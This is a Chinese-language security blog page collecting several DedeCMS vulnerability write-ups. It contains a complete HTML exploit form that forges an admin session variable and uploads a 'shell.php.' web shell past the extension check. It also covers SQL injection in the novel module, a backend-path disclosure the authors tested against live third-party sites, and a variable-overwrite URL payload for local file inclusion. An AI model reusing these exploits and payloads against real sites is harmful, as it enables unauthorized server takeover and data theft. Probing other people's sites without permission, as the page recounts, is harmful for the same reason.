作者:st0p
转载请注明出处 http://www.st0p.org

今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/

自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..

而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..

我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...

看了一下/include/dialog/select_soft_post.php

问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!");
@unlink($uploadfile);
......

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>

DEDECMS 小说连载模块 0DAY

作者:st0p
可以转载,不过请注明出处http://www.st0p.org

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块

首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read the rest of this entry

DEDECMS XDAY

作者:st0p
在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦。。。相当YD吧,而且还帮我找到了两个ROOT权限。。
此漏洞为st0p和杰少发现,版权没有,欢迎转载!
为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。

正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1
dedecms-xday1
失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2
dedecms-xday2
看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
< ?php 
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
 
if(empty($activepath)) $activepath = "";
 
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){ 
	$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft
//注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php
 
$inpath = $cfg_basedir.$activepath; 
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
 
if(empty($comeback)) $comeback = "";
 
?>

Read the rest of this entry

by:xhming

common.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )      //可绕过cfg_|GLOBALS限制
{
   exit('Request var not allow!');
}
}
 
       foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);        //可任意覆盖变量关键是_打头的变量
}

覆盖_FILES[]可导置本地包含漏洞(gpc/off);

例:

h tt p://127.0.0.1/dedecms/plus/vote.php?aid=1&_FILES=1&_FILES[cfg_templets_dir][name]=&_FILES[cfg_templets_dir][type]=1&_FILES[cfg_templets_dir][size]=200&&_FILES[cfg_templets_dir][tmp_name]=/dedecms/

另一处可能注入:

1
2
3
if($rs)
     {
      $bv->dsql->ExecuteNoneQuery("Update #@__member Set money=money-{$cfg_book_money} where id='{$ml->M_ID}' ");

也是利用_FILE覆盖$cfg_book_money.